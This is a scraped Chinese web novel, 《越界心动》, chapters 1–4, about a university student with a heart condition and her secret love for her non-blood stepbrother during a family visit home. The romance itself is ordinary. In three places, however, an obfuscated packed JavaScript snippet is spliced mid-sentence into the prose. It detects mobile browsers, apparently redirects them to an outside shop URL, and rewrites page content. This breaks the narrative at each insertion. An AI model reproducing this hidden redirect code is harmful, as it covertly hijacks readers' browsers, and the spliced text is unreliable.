《越界心动》 1. 第 1 章 - 今日天气：晴。-1～9摄氏度. 风向：南风1级。湿度：百分之三十。气压：1039kpa 作为大气科学专业学生的林絮习惯性在一天的早晨记录下今天的气象信息，记录完之后，她打开了衣柜开始挑挑选选着今日回家穿的衣服。 衣服成堆地堆在桌面上、椅背上，林絮在全身镜面前试了又试，哪一套都不中意。 “林絮你干嘛呢？还没挑好啊？我都坐这看你挑了半个小时了……”陈瑶手撑着下巴，饶有兴致地继续说道：“你这行为啊……难道是要去约会？” “什么！约会！林絮你什么时候谈恋爱了。” “天呐！我们专业的男生心都要碎了，林大美女居然有男朋友了？什么时候带来给我们看看！我们可是你的舍友啊！” …… 听着话题越说越偏，林絮随手将裙子放在桌面上，转过身来无奈道：“你们别乱说了，我不是要去约会，我回家。” 回家……呃，回家…… 林絮的三个舍友看了看林絮堆在桌面上成堆的衣服，陈瑶狐疑道：“只是回家？” “嗯……”林絮继续拿起衣服挑着，她手中拎着一套红白小香风的短裙套装，这套衣服她买来还没穿过，要不就这个？ 陈瑶看了看林絮手中的短裙套装，神色更加不解了，现在外面天气那么冷，要是她回家的话，估计就是穿着睡衣，直接在外面套个长款羽绒服就行了……等回到家再一脱羽绒服，多方便啊！ 就一会儿功夫，林絮已经换上了红白小香风短裙套装，腿上穿着薄款的肉色丝袜，修饰得腿型纤细修长，小背包、蝴蝶结发饰、耳环、项链、小细跟短靴……再加上一看就是精心画出来的全副妆容，这个样子她说就只是回家？？？ 陈瑶等三个舍友都表示不太相信。 阳台上的窗户没有关紧，飘进来一片片绒白的雪花，陈瑶起身走过去将窗户关上，窗外的冷风吹得她下意识抖索了一下。 “林絮……”陈瑶神色一言难尽，“你早上不是记录过今天的气象信息吗？来，给我重复一下。” 林絮看着镜子边打着散粉，一边道：“晴，气温-1～9摄氏度……” “停！够了！”陈瑶打断道。 林絮停下手上的动作狐疑地望过去，“怎么了？” “你还问我怎么了，气温-1到9摄氏度，这个温度，你给我穿着小短裙，肉色丝袜？你还真勇啊！” 陈瑶皱着眉头，不是她们想要干涉林絮的日常穿搭，只是她身体不好这件事，她们作为舍友自然是清楚的，因此这几年来难免会下意识地顾忌她的身体。 “不是回家吗？回家就随便穿穿啦，都是家里人没必要，你等下冻到了就不好了，而且你身体也不怎么好……”说话的是朱玲玲。 402宿舍剩下的另一个舍友魏桔打含糊道：“哎呀，别这么大惊小怪的……”她看向林絮笑着道：“是有人开车来接你回家吗？” 林絮点了点头，低声嗯了一声，“我哥开车来接我。” 林絮的哥哥，周嘉先，她们自然认识。快四年的时间相处下来，魏桔她们早就意识到林絮是个兄控，而林絮的哥哥对妹妹也是好得出奇。 既然有人开车来接，那顶多也就校道这一小段路程受冻而已。 陈瑶、朱玲玲也就将事情揭过，转而笑着道，“等会儿你哥肯定骂你，我大冬天的露腿，我妈妈得打死我，说什么老寒腿……” 舍友们打打闹闹说起了别的话题，林絮坐在椅子上心不在焉地看着镜子中的自己，即便化了妆，她的脸色、神态还是透露出一丝难以祛除的病气。 先天性心脏病，如蚀腐骨，犹如达摩克利斯之剑一样始终在她的头顶高悬着，等待着哪一天斩断她的生命线。 叮——微信上收到了一条消息。 【嘉先：小絮，我到校门口了。】 此刻，林絮犹如死水的眼眸微微泛起涟漪，她抓起手机和舍友们说了一声之后走出了宿舍。 出了宿舍楼，凛冽的寒风扑面而来，绒白的雪花飘飘扬扬，刺骨的冷意附在她的皮肤上一个劲地往骨头里钻。 林絮白着脸，身体微微颤抖了一下。好在她们这栋女生宿舍楼和学校南门特别近，走路五分钟就到了。 白色的奥迪Q5L出现在她的视野里，她刚走出南门校门口时，车上下来了一个身型高大、挺拔的男人，对方穿着中长款的黑色毛呢子外套，戴着黑色的围巾，微笑着朝她走来。 林絮停下了脚步，喊了一声“哥……” 她哥，周嘉先，她异父异母的哥哥。他们是重组家庭，阿姨带着她哥，她爸带着她，组成了新的家庭。 隔着二十米的距离，她看见对方常年温和的神情，她哥笑起来永远温润柔和，一如当年初见时那样。 …… 六岁那年，那天下着瓢泼大雨。她爸林浩拎着两个超大的行李箱，她穿着雨鞋、雨衣亦步亦趋地跟在他的身边去到了她爸二婚对象所住的小区。 那是一栋比较老的居民小区，没有电梯，林浩身上被雨水打湿，行李箱很重，要扛到五楼并不是一件轻松的事，但她还是从因为她的病而一直心神俱疲的林浩眼底看到了久违的轻松。 出发之前，奶奶的话语一直萦绕在她的耳边，“小絮啊，去了新家嘴要甜一点，喊妈妈，听到没？还有喊哥哥，不要和哥哥抢玩具玩。总之嘴要甜，眼里要有活。懂事一点，你爸已经很累了。” 虽然当年她才六岁，但从小患有心脏病的她格外地早熟，奶奶说的话她都听到心里去了。 她出生不久后就被确认患有先天性心脏病，妈妈放弃了她，是爸爸林浩卖了房子、欠了很多债务，将年幼的她从死神手中拉了回来，后来妈妈很快改嫁，爸爸林浩一路拉扯着她长大。 因为很累，债务、工作、她的病需要很多钱，林浩总是沉默且疲倦的。那是她第一次看到他眼底泛着生机的光泽。 小时候听过的童话故事《灰姑娘》里讲过恶毒的继母和姐姐，小朋友们听说她要有后妈了，都红着眼眶同情地看着她。 那时候，她心里也不是不慌的，听说恶毒的继母会不给人吃饭，让人一直干活，坏心肠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222568|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继姐们会欺负小孩，她看着眼底泛着喜悦和轻松的林浩，心想那都没关系的，打她也好，不给她吃饭也行，只要给她吃药，让她活下去就行，她一定会好好干活的。 忐忑不安充斥在年幼的她心里，她站在家门口任由林浩帮她把雨衣脱掉，她攥着手心看着对方按响了门铃。 叮咚一声仿佛惊雷一样敲在她的心上。 “来了……”嗓音干哑粗糙的声音隐隐约约从门内响起，接着房门被打开了……比她高很多的男孩穿着棉质家居服站在她的面前。 与想象中的尖锐为难、嫌弃厌恶不一样，男孩眼神清亮，笑起来很温和，他微微仰头朝林浩道：“叔叔，以后她就是我的妹妹了吗？” 当时的林浩一听这话，揉了揉男孩的发顶，“是啊，小絮以后就是你的妹妹了。” 男孩笑容绽放，伸出手握住了她微微被雨水打湿的手腕，牵着她走进了陌生的家门，他从鞋柜里拿出一双明显是新买的粉色小拖鞋放在她的脚边，“小絮，这是你的拖鞋，我昨天晚上和妈妈去超市买的，是我挑的哦。” …… “小絮……” 曾经面容稚嫩的男孩已经变成了身形高大的男人，他站在她的身前，完全笼罩住她。 男人声音低沉温和地唤着她的名字，他明明生得眉峰锐利，鼻梁高挺，面容棱角分明，乍一眼会显得很凶，但偏偏他见人总是带着三分笑，深邃的眼眸总是带着温和的笑意，完全中和了他面容上的攻击性。 “哥……”林絮眨了眨眼睛，将眼底呼之欲出的爱恋和钦慕压下，像平日里那样镇定自若地喊他哥哥…… 周嘉先微笑着随意点了点头，目光不由自主地在她身上流转了一瞬便迅速收回视线。 林絮顿时心如擂鼓，紧张得腿都有些发软，她对他的那些不可为外人道也的隐秘心思就藏在她精心挑选的衣服、配饰和精心画好的妆容上。 她的隐藏其实漏洞百出，只不过是仗着眼前的男人，她名义上的哥哥对她有着城墙般厚的滤镜。 “小絮今天很漂亮，这身衣服很适合你。” “哥！” 林絮抿了抿唇，羞涩得一时间视线不知道要放在哪里，她低着头，踢了踢脚，心里却不可抑制地漫上了浓浓的窃喜。 她咬了咬唇，刚才一路走过来的寒冷仿佛散去了一般，现在她只觉得头晕脑胀，热意不停地涌上脑门。 “哥你不骂我穿这么少吗？”林絮微微侧首，眼眸流转，她像以往一样轻轻抱住他的手臂，走在他身边，保持着比兄妹之间还要亲密、明面上又让人挑不出错的距离。 “唔……我觉得比起说你穿得少，我想小絮更想听到别人夸你穿得很漂亮的话吧。”周嘉先侧头，笑意温柔，等会儿就上车了，车里有暖气，回到家里也有暖气，顶多就一小段路会冷一些而已，没必要扫她的兴，而且她估计费了很多心思倒腾成这样，也确实很可爱很漂亮就是了，他说的是实话。 “嗯！”林絮眉眼弯弯，笑起来身上的病气变得很淡很淡。 ……她可不需要别人夸她漂亮，她只要她哥夸她就够了。 2. 第 2 章 - 京照市今年的冬天来得格外的早，第一场雪簌簌下了好几天，城市的道路上堆积着雪堆，环卫工人紧急铲出了可供汽车和行人行走的通道。 路况的原因，林絮和周嘉先花了比以往多半个小时的时间才到了小区楼下。 林絮下了车，习惯了车内暖气，乍一下又被寒风吹着，她下意识缩了缩身体。慢一步下车的周嘉先停好车后，见状，他神色自若地走到她的身边，挡住了南风向吹过来的冷风。 小区还是当年那个老小区，没有电梯，感应灯随着林絮和周嘉先踩上阶梯时发出的响声亮起。影影绰绰中，林絮余光瞥向身旁那个脚步轻松的男人。 “哥……”林絮低声道，她伸出手抱住周嘉先的手臂，微微仰着脸笑着道：“我爬累了，你给我借借力呗。” 周嘉先侧眸望了一下她，巴掌大的脸上许是因为爬楼梯，脸颊稍微红润，他笑着用另外一只手轻轻拍了拍她的发顶，道：“行，你就拽着吧。” 雪松般的香味从他的身上幽幽传过来，林絮抱着周嘉先的手臂悄悄笑了，这个味道是她买给她哥的室内香熏。 - 家里的门锁是用钥匙开的，周嘉先站在门口，刚想抽出手拿钥匙，林絮便自然松开了抱着他手臂的双手。 老旧的房门隔音并不好，大约是听到了脚步声，门忽然从内打开了来—— “小絮、嘉先回来啦？”林浩笑嘻嘻地拍了拍周嘉先的肩膀，当看到林絮穿着肉色的丝袜时顿时眉头一拧，“赶紧进来，外面天那么冷，你就这么穿啊？” 林絮抿了抿唇，赶紧走进去。 周嘉先神色温和地和林浩说起了话，边说着边自然地从玄关的鞋柜里拿出一双粉色的棉鞋放在林絮的脚边。 林絮低头换鞋，余光看见他哥脚上也换了一双和她一样的蓝色棉鞋，一蓝一粉很明显就是情侣款式，却偏偏因为他们是兄妹，所以没有任何人注意到她隐秘的心思，她说不出来是失望还是庆幸。 厨房内，柳垂影探出头来，笑着道：“都去洗手，等会儿包饺子。” “好的。妈。” “好的，阿姨。” 林絮垂着眼帘，以前她也叫妈妈的，但自从意识到对她哥的心思后，她忽然又改回了“阿姨”。那时她刚好踏入青春期，懵懂又心慌。 她爸林浩气得找她谈话，让她不要伤了柳垂影的心，她执拗地不肯改口，怀揣着见不得人的心思。后来林浩见她只是改了称呼而已，实际上和柳垂影并没有疏远和隔阂也就算了。 但其实她知道的，是她哥偷偷找了她爸林浩谈话，那天她躲在厨房里听着他们的谈话。 “爸，小絮想怎么称呼就怎么称呼吧，小时候她揣揣不安，不敢做选择，但现在她长大了，有勇气去顺着自己的心意，这难道不是一件好事吗？总归只是个称呼而已，我和妈都不在意，这么多年的感情难道会因为一个称呼而改变吗？” 那时的她蹲在半开的冰箱前面，心里又酸又胀，就算她喊柳垂影为阿姨，不喊他为哥哥，他们之间也始终是兄妹……就像他哥说的，这么多年的感情是不会因为一个称呼而改变的。 - 家里的房子很老了，房子里只有一个拥挤的卫生间，厨房内的老式抽烟机发出嗡嗡的声响，她在卫生间里都能听到。 水龙头打开，林絮伸手让水流冲过她的手掌心，她眼帘微抬，瞥了一眼站在她身后的周嘉先，男人高大的身形极具有压迫性。 目光猝不及防在镜子里对上，周嘉先微微歪了下头朝她笑着，低声道：“怎么了？” 他一笑，由身高体型带来的压迫感瞬间消散无踪，他站在她身后等着她洗完手，林絮眨了眨眼，转身后湿漉漉的手握住了周嘉先的手腕，道：“过来一起洗。” “啊？”周嘉先顿了下，下一刻林絮就将洗手液挤在他的手背上，还帮他搓了搓。 林絮心如擂鼓，洁白的泡沫下依稀可见他修长、骨骼分明的手指，他掌心的温度仿佛顺着她的指尖燎向她的心底。 卫生间内的洗手台比较小，两人挤在一起，她的肩膀贴着他的胸前，他微微弯下腰来，她整个人便仿佛被拥在他的怀里，林絮沉迷于这种亲近，并时不时创造这种肢体上的触碰，只是很可惜，他从未注意到她一个人的兵荒马乱。 果然…… 林絮看见他哥的视线在台面上好几罐都是她买的不同味道的洗手液上掠过，然后眼里闪过了然，笑着道：“洗完要不要给你闻闻这一罐洗手液的味道。” 家里的沐浴露、香薰、洗手液等等，她都喜欢买很多种不同的味道，然后说自己一个人用不来那么多味道，借着这个理由她没少在他的身上让他沾染上她买的东西的味道。 女孩子的心思都很细腻，一个男人身上带着微甜的味道，是个人都会有所猜测，而这也是她的小心思。她不能明说出她的心思，所以她沉迷于若有似无地让人误会他哥不是单身。 许是过往的心机让她表演得天衣无缝，眼下她隔着洗手液摩挲他的掌心时，他真的就只想到她想闻洗手液的味道！林絮有种搬起石头砸了自己脚的感觉…… “好啊！给我闻闻看！”她凑过去低下头，他掌心的泡沫已经冲掉、洗干净了，柠檬橘子清香味从他的掌心散出。 周嘉先好笑地看着他妹妹低着头轻嗅着他掌心的行为，她的呼吸微微喷洒在他的手心上，他眉梢微动，接着愣了一下，掌心仿佛被柔软的什么东西舔过一样。 他下意识想收回手，却猝不及防被林絮攥住，她攥着他的手腕举起来，踮了踮脚继续闻着，随后自然地放开他的手，眉眼弯弯，声音清亮，笑着道：“诶……这个味道最好闻了，下次多买这罐。” 周嘉先见她这副模样，笑着按了按她的头，简直像只小狗狗一样到底闻……他真是不知道是不是女孩子都喜欢收集各种各样的味道，还是只有他妹妹小絮这个癖好。 “好了，一起去包饺子吧。” “嗯。知道了，哥。” 林絮落在他的身后，看着他宽阔的肩膀，轻轻咬了咬舌间。 …… 饺子皮和三种不同的馅料放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222569|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不大的餐桌上，一家人围坐在一起边说话边包着饺子。 林絮看着自己包得破洞频出的饺子一脸无语，她真的是没有任何厨艺上的天赋，连包饺子都包得不好看，反观他哥包得一手漂亮的饺子，一排排一个个圆润又可爱。 见他哥低垂着眉眼认真包着饺子，她悄悄将手伸过去，想拿几个他包的过来凑凑数，至少她这边的盘子上好看一点吧。 周嘉先按住她偷偷摸摸的手，笑得一脸温和，“小絮，你就在我的眼皮底子下，我怎么会看不见呢？” “哼，小气鬼！我拿几个怎么了？”林絮撇了撇嘴，指着她自己包得破破烂烂的饺子道：“我包的都是哥你爱吃的白菜肉馅，你看我对你多好，你连给我拿几个都不行，太小气了！” 周嘉先看着面目全非的饺子露出一言难尽的神情，“好了，不生气了，哥这边的都给你。”他把盘子放到她那边。 “我才不要，我不吃白菜肉馅。” 周嘉先笑了笑，“是玉米红萝卜馅的，可以吗？” 林絮眉眼一颤，这是她爱吃的馅，心底漫上欢喜，嘴上却还道：“行吧，勉勉强强。” 林浩和柳垂影在一旁笑着，兄妹俩的感情一直都挺好，从小到大都是如此。他们夫妻俩的工作都忙，注定陪伴不了孩子，还好这两个小孩互相陪伴着长大了。 包好饺子后，蒸20多分钟就出锅了。 林絮吃着碗里她哥包得严严实实的饺子，又看了看他哥碗里破破烂烂的饺子，宛如一碗白菜猪肉粉，露出了心虚的眼神。 周嘉先侧头看向她，笑着道：“没事，我不介意，反正都是吃到肚子里的。” “哦，你自己乐意吃的啊！”林絮移开视线。 今天是元旦，一向在医院忙碌的林浩和柳垂影难得轮休到一起，又是轮休到假期，一家人其乐融融。 柳垂影忽然道：“嘉先，你今年都快30了吧，现在事业也算是可以了，妈妈问你啊你什么时候准备带女朋友回来啊？” 什么！ 林絮心忽然一颤，手中的筷子差点掉在地上，她猛地看向周嘉先，“哥，你谈女朋友了？什么时候？我怎么不知道！” 林浩摆了摆手，随口诶了一声，“你哥谈女朋友还要经过你同意啊？大人说话，你小孩子少插嘴。” “我……”林絮咬了下唇，胸口酸酸胀胀的，刚才吃在嘴里的饺子仿佛变得苦涩起来。 周嘉先眼神无奈，“没呢，我哪有时间找女朋友，妈，律所的事情很忙，我现在是真没时间，也没有这个想法。” 林絮闻言，忽地一阵欢喜，脑海中绷紧的那根弦松了松，她悄悄松了口气。 柳垂影皱着眉头，“你年纪也差不多了，该是时候了，什么年龄段就该做什么事情。” 周嘉先有些苦恼，他妈就是这样，思维有些死板，“好了，妈，我知道了，这件事我会好好考虑的。” 林絮放下的心又疏忽间提了起来，她抿了抿唇，筷子无意识地戳着碗里的饺子……她该怎么做？怎么做，哥哥才能是她的呢…… 3. 第 3 章 - 晚上八点多，天色阴沉，没一会儿就下起了雨，雪雨交杂着，室外的气温大幅度降低。 林絮一家人坐在客厅的沙发上看着新闻联播，室内的暖气加上暖色的灯光熏得刚刚洗完澡出来的她昏昏欲睡。她早上起太早了…… 客厅不大，林浩和柳垂影坐在双人沙发上正对着电视，周嘉先坐在侧向的单人沙发上，林絮也挤在上面，腿窝架在沙发的扶手上，身体微微往后靠在周嘉先的肩膀上，她腾空的脚丫光着一晃一晃的。 周嘉先低着头看着手机里客户传过来的文件，忽然感觉到手臂、肩膀处传来了另外一个人身体的温度，甜香的水蜜桃沐浴露的味道萦绕在他的鼻尖。 他指尖停顿了下，很快就毫不在意地继续翻阅着文件资料，又察觉到手臂和肩膀处传来压力，他下意识地侧了侧身子，让她的后背靠在他的胸前。 周嘉先目光微移，落在林絮的手机屏幕上，正好看到她打输了游戏的界面。 林絮微眯着眼，将手机一翻，嘟囔道：“不打了，没劲。” 周嘉先闻言，眉眼弯弯，“打输了吧？” 林絮头往后一靠，正好靠在周嘉先的肩膀上，手肘往后微微捅了捅，不满道：“哥你都看到了，还问还问！哼……” 周嘉先低低笑了起来，胸腔微微震动，靠着他的林絮眼眸微闪，装作调整架在沙发扶手上的腿，身体又往后挤了挤，整个人几乎就要嵌在他哥的怀里了。 林浩余光瞥见林絮的行为，不知怎的忽然皱了皱眉头。儿大避母，女大避父，小絮都这么大了，和嘉先是不是该避一避了…… “小絮，女孩子就要有女孩子的样子，坐到板凳上去！别整天像没骨头一样靠着你哥。” 林絮表情微僵，她抿了抿唇，压下惊慌，换上不满的神情，她回过头望着林浩，“我想坐软软的沙发，才不要坐硬板凳呢！” 客厅比较小，因此只有双人沙发和一张单人沙发。 林絮这一说，林浩便想起来周嘉先和林絮从小到大都是挤在一张沙发上的，谁也不想坐硬板凳，这一想，他就觉得应该是他想多了。 在看新闻的柳垂影也微微皱了皱眉头，语气严肃道：“嘉先，你起来，沙发给你妹妹坐。” 周嘉先点了点头，站起身来，他垂眸见妹妹微嘟着的嘴，一副气鼓鼓的样子，“爸，在家里呢，又不是在外面，怎么舒服就怎么坐嘛。” 他伸手揉了揉林絮的发顶，笑着道：“哥不挤你了，沙发给你靠，爸妈，我去房间，还有工作要忙。” “哦……” 林浩面色严肃地瞪了她一眼，“你哥就护着你……站没站相，坐没坐相的。” 林絮撇了撇嘴，从沙发上起身，转头就往房间走，“爸、阿姨，我也回房间了……” “算了，别说孩子了……都是小事。” 林絮关上房门，隐隐约约听到阿姨柳垂影的说话声，她坐在床上，随手刷着微博，却根本没看进去。 ……是啊，都是小事，但自从她和她爸林浩到了这个家之后，她爸总是在各种小事上说她，她也知道是因为她不是阿姨的亲女儿，很多事他爸作为父亲先说了，别人就不好说她了，但总是被说，她到底还是不开心…… 林絮在房间没呆多久，就听见客厅外的林浩和柳垂影喊着说，他们得去医院一趟，国道那边因为路滑发生了汽车连撞，医院忙不过来，他们得去支援。 林絮皱起眉头，拉开了房门，他哥的房间就在她对面，两人对视一眼，纷纷走到玄关处。林浩和柳垂影已经在换鞋了。 周嘉先拿起玄关处的钥匙道，“爸妈，我送你们过去医院。” 柳垂影摆了摆手，语速很快，“不用了，你张阿姨说会顺路开车过来接我们，我们一道去医院。” 张阿姨，是柳垂影医院的同事，国道上的连撞车祸伤了不少人，轮休的同事几乎全被叫回去了。 周嘉先闻言也不勉强，只是叮嘱道：“那你们小心点，让张阿姨也不要急，现在路上太滑了。” “知道知道。你在家看好小絮，再晚点估计要打雷下暴雨了。” “嗯，放心吧。”周嘉先摸了摸身旁妹妹的头顶。 林絮一脸担忧地看着林浩和柳垂影出了家门，她喊了一声，“要慢点啊……” 林浩回过头朝她摆了摆手，夫妻俩走下了楼梯。 …… 林絮抿了下唇，关上了房门，她爸和阿姨休假的时候被叫回去值班是经常的事情，从小到大都是这样，所以说年幼的她几乎是只比她大五岁的哥哥带着她玩，照顾她的日常生活，他好像天生就会照顾人一样。 小时候小区里的小孩子都喜欢跟在他的身后，“先哥”“先哥”地叫着。 以前她也是喊“先哥”的，但后来不知道怎的，她不想和别人一样叫他“先哥”，于是改成了更为亲近的“哥哥。”就这个称呼还引起了与他有血缘关系的堂妹们的不满。 “先哥是我们的哥哥，又不是你的，你不要喊他哥哥。” “就是因为你，最近先哥都没时间带我们玩了，我妈妈说你是病痨子，活不长的，哼！” 当时的她抿着嘴，蹲在地上铲着沙子玩，假装没有听到她们说话，心里却想着她就要喊、就要喊哥哥，气死她们！ “喂，你不会还是个哑巴吧？” “她不是，她故意不理我们的……真讨厌。” “诶？是吵架了吗？”回楼上拿小水壶的周嘉先回来后看到几个小孩子都绷着脸不开心的样子便笑眯眯地说着，“大家都是好孩子，要一起玩，不能吵架的哦……” 明明他也是个半大少年，却总是以大人的身份自居。 年幼的林絮低着头自顾自地铲着沙子，当时的她刚到新家没多久，也知道那边的两个小女孩才是周嘉先真正的妹妹。 “小絮……” 林絮头一偏，就是不看他。 周嘉先啊了一声，脸色有些苦恼，他蹲下身来凑过去，又把小水壶打开，将吸管放在了她的嘴边，“小絮……不要生气了，喝点水好吗？” 看着放在嘴边的吸管，林絮眼眸一转，故意大大口地吸了一下，然后得意地看向旁边另外的两个小女孩，就气死你们，气死你们……看到没，他哥哥只给她拿水！她刚刚听到她们两个说口渴了。 她如愿地听到了另外两个小女孩哇地一声大哭了起来。 周嘉先啊了一声，站起来：“嘉娜、嘉佳，怎么哭了？”他走过去弯着腰看着两个泪眼汪汪的小女孩，又从口袋里拿出两颗糖，一人给了一颗，两个小女孩才慢慢停止了哭声。 “先哥，你怎么没给我们拿水壶啊？我们也要喝水！” “对，我们也口渴了……” 周嘉先：“啊，原来是这样啊……”他看了看手中粉色的小水壶，道：“不是我不给你们拿呀，你们俩的小水壶在你们家里啊！” “哦……对哦。” “先哥，我好口渴，现在就想喝水，给我喝一口吧。”小女孩眼巴巴地望着粉色的小水壶。 铲着沙子的林絮顿时嘟起了嘴，那是她的小水壶，她才不要给别人喝，不行！不许！可是那个粉色的小水壶是哥哥买的……她埋头紧紧抿着唇用力地铲着沙土。 “诶，不行哦……这是小絮的水壶。” 意料之外的答案，林絮愣愣地抬头看向对方，她哥很照顾所有的比他还小的孩子，她没想到这次她哥居然不同意。 见两个小堂妹又要哭了，周嘉先刚好瞥了一眼不远处正走过来的婶婶，他笑着道：“嘉娜、嘉佳，你妈妈过来找你们了，快回家喝水去吧。” 两个小女孩一脸不开心地跟着她们的妈妈离开了，周嘉先蹲下身子低声道：“小絮，还玩吗？” “不玩了……”林絮小声道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222570|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周嘉先笑了下，拉着她起身，帮她将身上沾上的尘土拍干净，又牵着她的手带她回家，“不玩的话回家了。” “哥哥，你干嘛不把我的水壶给她们喝水？”小小的林絮想了想，还是问了这个问题。 周嘉先侧首低眸笑着道：“因为那是小絮的水壶，小絮也不想给她们用吧，我是哥哥，我当然听妹妹的话啊！” 年幼的林絮脸一红，“哦……” “嗯？好像到吃药的时间了。”年少的周嘉先道。 …… 林浩、柳垂影离开后，周嘉先看着关上的房门又望了一眼客厅上挂着的时钟，“小絮，你是不是还没吃药？” 差不多的话语，林絮从回忆中回过神来，吃药…… 她抿了下唇，“我已经吃了。”说完她转身就想往房间里跑，却被周嘉先一把拽住了手腕。 “我都说我吃了。”林絮不满道。 周嘉先眼眸弯弯，温声道：“吃了你跑什么？下次说谎话，记得不要心虚。” “哥！”林絮气得踩对方的脚。 周嘉先仿佛不痛不痒般，他揽着她的肩膀，微微用了点力道将人换了个方向，拥着她往客厅走，将人按在双人沙发上坐下。 林絮：“我忘记带药了……” 周嘉先笑了笑，“好，你等会儿。” 片刻后，他一手端着杯温水放在茶几上，一手掌开，掌心里是几个药瓶子，“呐，药在这里，水都给你端过来了。” 林絮：……好吧，她忘了，她的药她哥都有备份。 客厅暖色的灯光下，白色的药瓶就放在他的手掌心，一股浓浓的自我厌弃从她的心底蔓延开来。吃药吃药，从她有记忆起，她每一天都在吃药。 她是想活下去，但苦涩的药片滑过喉咙的感觉让她忍不住地想干呕，吃药已经形成了她的心理障碍，好痛苦好恶心啊…… 林絮的眼底迅速泛红，一旁的周嘉先见状，神色倒也不慌，他已经能很熟练地安抚妹妹小絮的情绪了。 周嘉先微微往她的方向靠近一点，林絮下意识地往他怀里挤，头一下一下地轻轻撞在他的胸前，“我不想吃我不想吃，不吃就不吃，一天不吃没关系的。” “哥……”没有及时吃药的林絮脸色泛上苍白，唇色也变得极为淡，整张小脸只剩下眼尾泛着微红。 周嘉先下巴蹭了蹭她的发顶，语气温和，但意思又很明确，“不行哦，小絮，一定要吃药。” …… 窗外果然下起了大暴雨，噼里啪啦的雨珠砸在窗玻璃上，林絮始终闹腾着不愿意吃药，周嘉先耐心、温和地一遍遍拒绝她不想吃药的提议。 好半响，林絮彻底没了脾气，闹腾拒绝了那么久，她自己都累了。 周嘉先眉眼微动，熟练地从药瓶里拿出每种药的颗数，放在手掌心上，又递到她的嘴边。林絮瞥了一眼，也不伸手拿，直接低下头伸出舌头从他的掌心卷走了药片。 这……微微带着湿润的柔软触觉，周嘉先愣了一下。 “唔……”林絮发出声响，示意他哥端水。 周嘉先的思绪一时被打断，好不容易小絮愿意吃药了，他连忙端起水递到她的唇边，林絮喝了一口，就将药咽了下去。 她反射性地想干呕，喉咙内发出咕噜的声响，她想吐。林絮紧紧抿了下唇，一头钻进他哥的怀里，头颅使劲顶着对方的胸口。 周嘉先被顶得往后靠在沙发上，看着胸前和小牛犊一样顶人的妹妹，他低声笑了下，又很快敛起笑容，安抚地顺了顺她的后背，“没事了，没事了……” “哥……” “怎么了？” “哥……” “在呢。” 周嘉先知道她在闹脾气、在委屈，他知道平日里她在学校都是有乖乖吃药的，她就是想闹一闹，想让人哄一哄她而已。她都那么乖了，他作为哥哥，哄哄她也是应该的。 4. 第 4 章 - 窗外惊雷乍响，林絮猛地抱紧被子，睁开了眼睛，紫色的光影落入房间内，森然恐怖。她瞥了一眼床头柜上摆放着的电子闹钟，刚过晚上十二点钟。 借着闪电的光芒，林絮看见了窗外随着风使劲摇晃着的树枝，许是风太大，纤细的树枝被风折断，风一吹撞在窗玻璃上发出“砰”的一声巨响。 林絮立刻从床上跳起来拧开房门，光着脚跑了出去，“哥……” 与此同时，还在埋头整理着案件资料的周嘉先听见巨响，立刻起身过去拉开了房门，一个纤细柔软的身体迅速贴了过来。 林絮双臂紧紧抱着她哥的腰，“哥，我房间的窗户好像裂了。刚才有树枝被风吹着砸过来了。” “没伤着吧？”周嘉先往后退了一步，拉开距离低头打量着她。 “没，我听到声音就赶紧过来了。爸妈好像还没回来……” 周嘉先拍了拍她的后背，“没事，哥去看一下。” “好，你小心点。”林絮放开了抱着他哥的手臂。 周嘉先绕过林絮走进她的房间，打开了房间内的灯光，确实是……窗玻璃已经有裂开的痕迹，看这雷暴雨和大风，一时半会儿估计很难停，不处理的话，估计等会儿就会整面玻璃碎掉了。 窗玻璃一旦碎掉，这个房间就得遭殃了。 周嘉先从客厅茶几下的柜子里拿出胶带，小心地在窗户上贴了一个大大的“米”字型，希望能撑到暴雨和大风过去吧…… 林絮坐在周嘉先的床上，光着的脚丫一晃一晃地，她打量着这间她无数次闯进来的房间，当然，她哥也没有防备她就是了，她向来是想进就进的。 这间房间比较小，窗户朝北，白日里光线也不足，因此需要总是开着灯光。其实她现在住的那间房间原本是她哥周嘉先的，只不过她来了这个家之后，她哥让出来给了她。 「妹妹身体不好，这边的房间有点阴冷潮湿，我跟妹妹换吧，我住这间。」 周嘉先贴完胶布之后就回来了，看到林絮坐在他的床上，他神情带着安抚道：“小絮，窗户那边我贴了胶布，只能等到明天再叫人来换玻璃了。爸妈今天晚上应该是不回来了，要不你先睡爸妈的房间？” 林絮闻言，晃着的脚丫顿了一下，随后直接收起腿，盘腿坐在他的床上，她抱着她哥的被子嗡声道：“要不，哥……你去睡爸妈的房间吧？我要睡你这间。” 